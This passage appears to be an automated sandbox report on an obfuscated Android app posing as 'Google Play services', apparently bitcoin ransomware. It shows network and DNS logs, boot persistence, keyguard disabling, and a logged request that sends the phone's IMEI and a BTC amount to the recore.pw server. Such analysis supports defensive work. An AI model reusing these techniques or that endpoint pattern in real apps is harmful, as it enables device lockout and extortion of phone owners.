Oct 16, 2017 12:46:10.278059006 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:10.278944016 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:10.278975010 CEST	5228	35284	66.102.1.188	192.168.1.34
Oct 16, 2017 12:46:10.923661947 CEST	5228	35284	66.102.1.188	192.168.1.34
Oct 16, 2017 12:46:10.923681974 CEST	5228	35284	66.102.1.188	192.168.1.34
Oct 16, 2017 12:46:10.923688889 CEST	5228	35284	66.102.1.188	192.168.1.34
Oct 16, 2017 12:46:10.923989058 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:10.924057007 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:10.924098015 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:11.067879915 CEST	5228	35284	66.102.1.188	192.168.1.34
Oct 16, 2017 12:46:11.068022013 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:11.070559978 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:11.070585012 CEST	5228	35284	66.102.1.188	192.168.1.34
Oct 16, 2017 12:46:11.070841074 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:21.582712889 CEST	5544	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:21.979887009 CEST	53	5544	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:22.157392979 CEST	28039	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:22.387626886 CEST	53	28039	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:29.576781034 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:29.576847076 CEST	5228	38347	66.102.1.188	192.168.1.34
Oct 16, 2017 12:47:29.576991081 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:29.577693939 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:29.577724934 CEST	5228	38347	66.102.1.188	192.168.1.34
Oct 16, 2017 12:47:30.028846979 CEST	7893	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:30.243877888 CEST	5228	38347	66.102.1.188	192.168.1.34
Oct 16, 2017 12:47:30.243908882 CEST	5228	38347	66.102.1.188	192.168.1.34
Oct 16, 2017 12:47:30.243917942 CEST	5228	38347	66.102.1.188	192.168.1.34
Oct 16, 2017 12:47:30.244177103 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:30.244266033 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:30.244291067 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:30.281161070 CEST	53	7893	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:30.308890104 CEST	28359	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:30.388376951 CEST	5228	38347	66.102.1.188	192.168.1.34
Oct 16, 2017 12:47:30.388648033 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:30.390865088 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:30.390892982 CEST	5228	38347	66.102.1.188	192.168.1.34
Oct 16, 2017 12:47:30.391140938 CEST	38347	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:47:30.538669109 CEST	53	28359	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:38.402299881 CEST	30656	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:38.748745918 CEST	53	30656	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:38.749278069 CEST	10163	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:38.990160942 CEST	53	10163	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:45.728995085 CEST	19647	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:45.968199015 CEST	53	19647	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:45.968487978 CEST	9535	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:46.215646982 CEST	53	9535	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:49.426655054 CEST	1979	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:49.740573883 CEST	53	1979	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:49.753456116 CEST	15729	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:50.033277988 CEST	53	15729	8.8.8.8	192.168.1.34

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 16, 2017 12:46:00.664580107 CEST	48286	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:46:01.495754957 CEST	53	48286	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:21.582712889 CEST	5544	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:21.979887009 CEST	53	5544	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:22.157392979 CEST	28039	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:22.387626886 CEST	53	28039	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:30.028846979 CEST	7893	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:30.281161070 CEST	53	7893	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:30.308890104 CEST	28359	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:30.538669109 CEST	53	28359	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:38.402299881 CEST	30656	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:38.748745918 CEST	53	30656	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:38.749278069 CEST	10163	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:38.990160942 CEST	53	10163	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:45.728995085 CEST	19647	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:45.968199015 CEST	53	19647	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:45.968487978 CEST	9535	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:46.215646982 CEST	53	9535	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:49.426655054 CEST	1979	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:49.740573883 CEST	53	1979	8.8.8.8	192.168.1.34
Oct 16, 2017 12:47:49.753456116 CEST	15729	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:47:50.033277988 CEST	53	15729	8.8.8.8	192.168.1.34

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 16, 2017 12:47:21.582712889 CEST	192.168.1.34	8.8.8.8	0x4043	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:22.157392979 CEST	192.168.1.34	8.8.8.8	0x77e6	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:30.028846979 CEST	192.168.1.34	8.8.8.8	0xff0	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:30.308890104 CEST	192.168.1.34	8.8.8.8	0x7151	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:38.402299881 CEST	192.168.1.34	8.8.8.8	0x4ee6	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:38.749278069 CEST	192.168.1.34	8.8.8.8	0x4afd	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:45.728995085 CEST	192.168.1.34	8.8.8.8	0x2a6f	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:45.968487978 CEST	192.168.1.34	8.8.8.8	0x49bc	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:49.426655054 CEST	192.168.1.34	8.8.8.8	0xd6d	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:49.753456116 CEST	192.168.1.34	8.8.8.8	0x75a8	Standard query (0)	recore.pw	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	CName	Address	Type	Class
Oct 16, 2017 12:47:21.979887009 CEST	8.8.8.8	192.168.1.34	0x4043	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:22.387626886 CEST	8.8.8.8	192.168.1.34	0x77e6	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:30.281161070 CEST	8.8.8.8	192.168.1.34	0xff0	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:30.538669109 CEST	8.8.8.8	192.168.1.34	0x7151	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:38.748745918 CEST	8.8.8.8	192.168.1.34	0x4ee6	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:38.990160942 CEST	8.8.8.8	192.168.1.34	0x4afd	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:45.968199015 CEST	8.8.8.8	192.168.1.34	0x2a6f	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:46.215646982 CEST	8.8.8.8	192.168.1.34	0x49bc	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:49.740573883 CEST	8.8.8.8	192.168.1.34	0xd6d	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)
Oct 16, 2017 12:47:50.033277988 CEST	8.8.8.8	192.168.1.34	0x75a8	Name error (3)	recore.pw	none	none	A (IP address)	IN (0x0001)

APK Behavior

Installation

Installation Messages

Name	Is Error
Unknown permission android.permission.READ_INTERNAL_STORAGE in package owd.qusutsqfdo.mbpepvxhxly Unknown permission android.permission.WRITE_INTERNAL_STORAGE in package owd.qusutsqfdo.mbpepvxhxly	false

Started Services

Intent { cmp=owd.qusutsqfdo.mbpepvxhxly/.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI }

Intent { cmp=owd.qusutsqfdo.mbpepvxhxly/.IllIlLIIlllLllIIlIIlllIlIllIIllllILllllIlllllllIILlIIlII }

Intent { cmp=owd.qusutsqfdo.mbpepvxhxly/.IlllIIlllLllIllIIlllIllIlllIIIllIlIlILlLIllllIlIIIlLlIll }

Intent { cmp=owd.qusutsqfdo.mbpepvxhxly/.lLllIIllllIlllIlIIlILIIlIlLlIIllLlllllIIIllIlllllllIIlII }

Registered Receivers

owd.qusutsqfdo.mbpepvxhxly.F@e69ec36 (Intent: android.content.IntentFilter@d63737)
- Action: android.BOOT_COMPLETED

Miscellaneous

Simulated Events

Type	Data
boot completed	-
time tick	-
incoming sms	0123456789 this is a text message
outgoing sms	9876543210 thank you
location change	54.13 12.14
incoming call	0123456789
outgoing call	9876543210
time tick	-

By Permission (executed)

ACCESS_NETWORK_STATE

API: android.net.ConnectivityManager->getActiveNetworkInfo at owd.qusutsqfdo.mbpepvxhxly.llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a:9	Show source

Name	Type	Value
Return Value	android.net.NetworkInfo	toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:a5:a5:83, roaming: false, failover: false, isAvailable: true]

INTERNET

API: java.net.URL->openConnection at owd.qusutsqfdo.mbpepvxhxly.k.b:245	Show source

Name	Type	Value
Return Value	com.android.okhttp.internal.huc.HttpURLConnectionImpl	toString: com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://recore.pw/sYnAbvNCAbvAJ.php?action=qr_code&addr=&amount=0.0130&imei=065925473717766

READ_PHONE_STATE

API: android.telephony.TelephonyManager->getDeviceId at owd.qusutsqfdo.mbpepvxhxly.af.a:9	Show source

Name	Type	Value
Return Value	java.lang.String	toString: 065925473717766

By Permission (non-executed)

CHANGE_COMPONENT_ENABLED_STATE

API: android.content.pm.PackageManager->setComponentEnabledSetting at owd.qusutsqfdo.mbpepvxhxly.af.a:29	Show source

API: android.content.pm.PackageManager->setComponentEnabledSetting at owd.qusutsqfdo.mbpepvxhxly.q.a:11	Show source

API: android.content.pm.PackageManager->setComponentEnabledSetting at owd.qusutsqfdo.mbpepvxhxly.lIllIIIllLlllIIIllIIlllLIlllIllIllIllLllIIILllIllllllIII.onAccessibilityEvent:250	Show source

CHANGE_WIFI_STATE

API: android.net.wifi.WifiManager->setWifiEnabled at owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl.a:10	Show source

API: android.net.wifi.WifiManager->setWifiEnabled at owd.qusutsqfdo.mbpepvxhxly.LlIIllllllLlllIlLIlllIllLlIllIlllIIlIIlIlIllIIIIlIIlIlll.onCreate:26	Show source

DISABLE_KEYGUARD

API: android.app.KeyguardManager$KeyguardLock->disableKeyguard at owd.qusutsqfdo.mbpepvxhxly.q.run:409	Show source

API: android.app.KeyguardManager$KeyguardLock->disableKeyguard at owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl.onCreate:110	Show source

API: android.app.KeyguardManager$KeyguardLock->disableKeyguard at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.onCreate:99	Show source

API: android.app.KeyguardManager$KeyguardLock->disableKeyguard at owd.qusutsqfdo.mbpepvxhxly.f.b:48	Show source

INTERNET

API: org.apache.http.impl.client.DefaultHttpClient-><init> at owd.qusutsqfdo.mbpepvxhxly.p.b:63	Show source

API: java.net.URLConnection->connect at owd.qusutsqfdo.mbpepvxhxly.k.b:248	Show source

API: org.apache.http.impl.client.DefaultHttpClient-><init> at owd.qusutsqfdo.mbpepvxhxly.llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a:40	Show source

READ_PHONE_STATE

API: android.telephony.TelephonyManager->getLine1Number at owd.qusutsqfdo.mbpepvxhxly.v.b:18	Show source

SET_PREFERRED_APPLICATIONS

API: android.content.pm.PackageManager->clearPackagePreferredActivities at owd.qusutsqfdo.mbpepvxhxly.af.a:25	Show source

By Class (executed)

owd.qusutsqfdo.mbpepvxhxly.IlllIIlllLllIllIIlllIllIlllIIIllIlIlILlLIllllIlIIIlLlIll

API: owd.qusutsqfdo.mbpepvxhxly.IlllIIlllLllIllIIlllIllIlllIIIllIlIlILlLIllllIlIIIlLlIll->getApplicationContext at owd.qusutsqfdo.mbpepvxhxly.IlllIIlllLllIllIIlllIllIlllIIIllIlIlILlLIllllIlIIIlLlIll.onCreate:4	Show source

Name	Type	Value
Return Value	android.app.Application	toString: android.app.Application@8f13bbb

owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@99be04a $1: %04d

Name	Type	Value
Return Value	java.lang.String	toString: %04d

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@f121431 $1: android.intent.action.MAIN

Name	Type	Value
Return Value	java.lang.String	toString: android.intent.action.MAIN

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@b6dd897 $1: android.intent.category.HOME

Name	Type	Value
Return Value	java.lang.String	toString: android.intent.category.HOME

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@5c2c26d $1: keyguard

Name	Type	Value
Return Value	java.lang.String	toString: keyguard

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@cad6733 $1: device_policy

Name	Type	Value
Return Value	java.lang.String	toString: device_policy

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@b561869 $1: keyguard

Name	Type	Value
Return Value	java.lang.String	toString: keyguard

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@94d438f $1: __sklasse_init

Name	Type	Value
Return Value	java.lang.String	toString: __sklasse_init

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@daed225 $1: __sklasse_init

Name	Type	Value
Return Value	java.lang.String	toString: __sklasse_init

API: owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl->getApplicationContext at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.onCreate:4	Show source

Name	Type	Value
Return Value	android.app.Application	toString: android.app.Application@8f13bbb

API: owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl->setContentView at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.onCreate:19	Show source

Name	Type	Value
layoutResID	java.lang.Integer	toString: 2130903044

API: owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl->getApplicationContext at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.onCreate:21	Show source

Name	Type	Value
Return Value	android.app.Application	toString: android.app.Application@8f13bbb

API: android.app.Application->getPackageName at owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl.a:25	Show source

Name	Type	Value
Return Value	java.lang.String	toString: owd.qusutsqfdo.mbpepvxhxly

owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.<clinit>:39	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@415de82 $1: layout_inflater

Name	Type	Value
Return Value	java.lang.String	toString: layout_inflater

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.<clinit>:39	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@af28dd0 $1: window

Name	Type	Value
Return Value	java.lang.String	toString: window

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.<clinit>:39	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@84760ce $1: must be activated

Name	Type	Value
Return Value	java.lang.String	toString: must be activated

API: owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI->getApplicationContext at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.onCreate:10	Show source

Name	Type	Value
Return Value	android.app.Application	toString: android.app.Application@8f13bbb

API: owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI->getApplicationContext at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.onCreate:18	Show source

Name	Type	Value
Return Value	android.app.Application	toString: android.app.Application@8f13bbb

API: owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI->getSystemService at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.onCreate:41	Show source

Name	Type	Value
p0	java.lang.String	toString: window

Name	Type	Value
Return Value	android.view.WindowManagerImpl	toString: android.view.WindowManagerImpl@f7abba6

API: owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI->getSystemService at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.onCreate:50	Show source

Name	Type	Value
p0	java.lang.String	toString: layout_inflater

Name	Type	Value
Return Value	com.android.internal.policy.PhoneLayoutInflater	toString: com.android.internal.policy.PhoneLayoutInflater@aa6bc3d

API: android.widget.LinearLayout->findViewById at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.b:4	Show source

Name	Type	Value
p0	java.lang.Integer	toString: 2131296292

Name	Type	Value
Return Value	android.widget.ImageView	toString: android.widget.ImageView{6df99fb V.ED..... ......I. 0,0-0,0 #7f090024 app:id/s_ico}

API: android.widget.LinearLayout->findViewById at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.b:12	Show source

Name	Type	Value
p0	java.lang.Integer	toString: 2131296293

Name	Type	Value
Return Value	android.widget.TextView	toString: android.widget.TextView{7bf5a56 V.ED..... ......ID 0,0-0,0 #7f090025 app:id/swarn_lbl}

API: android.content.Context->getString at owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI.onCreate:74	Show source

Name	Type	Value
resId	java.lang.Integer	toString: 2131165185

Name	Type	Value
Return Value	java.lang.String	toString: Google Play services

owd.qusutsqfdo.mbpepvxhxly.af

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.af.<clinit>:39	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@73f8074 $1: __sklasse_init

Name	Type	Value
Return Value	java.lang.String	toString: __sklasse_init

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.af.<clinit>:39	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@9869770 $1: 111111111111111

Name	Type	Value
Return Value	java.lang.String	toString: 111111111111111

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.af.<clinit>:39	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@7e6bca0 $1: phone

Name	Type	Value
Return Value	java.lang.String	toString: phone

API: android.app.Application->getSystemService at owd.qusutsqfdo.mbpepvxhxly.af.a:5	Show source

Name	Type	Value
p0	java.lang.String	toString: phone

Name	Type	Value
Return Value	android.telephony.TelephonyManager	toString: android.telephony.TelephonyManager@9cd04ff

API: android.telephony.TelephonyManager->getDeviceId at owd.qusutsqfdo.mbpepvxhxly.af.a:9	Show source

Name	Type	Value
Return Value	java.lang.String	toString: 065925473717766

API: android.app.Application->getSystemService at owd.qusutsqfdo.mbpepvxhxly.af.a:5	Show source

Name	Type	Value
p0	java.lang.String	toString: phone

Name	Type	Value
Return Value	android.telephony.TelephonyManager	toString: android.telephony.TelephonyManager@9cd04ff

API: android.telephony.TelephonyManager->getDeviceId at owd.qusutsqfdo.mbpepvxhxly.af.a:9	Show source

Name	Type	Value
Return Value	java.lang.String	toString: 065925473717766

API: android.app.Application->getSystemService at owd.qusutsqfdo.mbpepvxhxly.af.a:5	Show source

Name	Type	Value
p0	java.lang.String	toString: phone

Name	Type	Value
Return Value	android.telephony.TelephonyManager	toString: android.telephony.TelephonyManager@9cd04ff

API: android.telephony.TelephonyManager->getDeviceId at owd.qusutsqfdo.mbpepvxhxly.af.a:9	Show source

Name	Type	Value
Return Value	java.lang.String	toString: 065925473717766

API: android.app.Application->getSystemService at owd.qusutsqfdo.mbpepvxhxly.af.a:5	Show source

Name	Type	Value
p0	java.lang.String	toString: phone

Name	Type	Value
Return Value	android.telephony.TelephonyManager	toString: android.telephony.TelephonyManager@9cd04ff

API: android.telephony.TelephonyManager->getDeviceId at owd.qusutsqfdo.mbpepvxhxly.af.a:9	Show source

Name	Type	Value
Return Value	java.lang.String	toString: 065925473717766

API: android.app.Application->getSystemService at owd.qusutsqfdo.mbpepvxhxly.af.a:5	Show source

Name	Type	Value
p0	java.lang.String	toString: phone

Name	Type	Value
Return Value	android.telephony.TelephonyManager	toString: android.telephony.TelephonyManager@9cd04ff

API: android.telephony.TelephonyManager->getDeviceId at owd.qusutsqfdo.mbpepvxhxly.af.a:9	Show source

Name	Type	Value
Return Value	java.lang.String	toString: 065925473717766

API: android.app.Application->getSystemService at owd.qusutsqfdo.mbpepvxhxly.af.a:5	Show source

Name	Type	Value
p0	java.lang.String	toString: phone

Name	Type	Value
Return Value	android.telephony.TelephonyManager	toString: android.telephony.TelephonyManager@9cd04ff

API: android.telephony.TelephonyManager->getDeviceId at owd.qusutsqfdo.mbpepvxhxly.af.a:9	Show source

Name	Type	Value
Return Value	java.lang.String	toString: 065925473717766

owd.qusutsqfdo.mbpepvxhxly.c

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.c.<clinit>:44	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@3cc45a5 $1: http://recore.pw/sYnAbvNCAbvAJ.php

Name	Type	Value
Return Value	java.lang.String	toString: http://recore.pw/sYnAbvNCAbvAJ.php

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.c.<clinit>:44	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@f3e92b $1: sklasse50

Name	Type	Value
Return Value	java.lang.String	toString: sklasse50

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.c.<clinit>:44	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@5609721 $1: 1.2k

Name	Type	Value
Return Value	java.lang.String	toString: 1.2k

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.c.<clinit>:44	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@845ed07 $1: BTC

Name	Type	Value
Return Value	java.lang.String	toString: BTC

owd.qusutsqfdo.mbpepvxhxly.e

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.e.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@37bfa07 $1: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

Name	Type	Value
Return Value	java.lang.String	toString: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.e.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@eb412d2 $1: !@#$%^&*()_+=-][;:'?><,.

Name	Type	Value
Return Value	java.lang.String	toString: !@#$%^&*()_+=-][;:'?><,.

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.e.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@ff022ff $1: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

Name	Type	Value
Return Value	java.lang.String	toString: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.e.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@40baf85 $1: cryeye

Name	Type	Value
Return Value	java.lang.String	toString: cryeye

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.e.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@67160b $1: .apk

Name	Type	Value
Return Value	java.lang.String	toString: .apk

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.e.<clinit>:124	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@a5cbf01 $1: 0123456789ABCDEF

Name	Type	Value
Return Value	java.lang.String	toString: 0123456789ABCDEF

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.e.a:26	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@f6f07e7 $1: 438933D4B7D9D570578B2D29C27A560A85FE63A4780F7DB560BAA9F4486A8225

Name	Type	Value
Return Value	java.lang.String	toString: 438933D4B7D9D570578B2D29C27A560A85FE63A4780F7DB560BAA9F4486A8225

API: java.io.File-><init> at owd.qusutsqfdo.mbpepvxhxly.e.a:4	Show source

Name	Type	Value
p0	java.lang.String	toString: /

Name	Type	Value
Return Value	java.io.File	toString: /

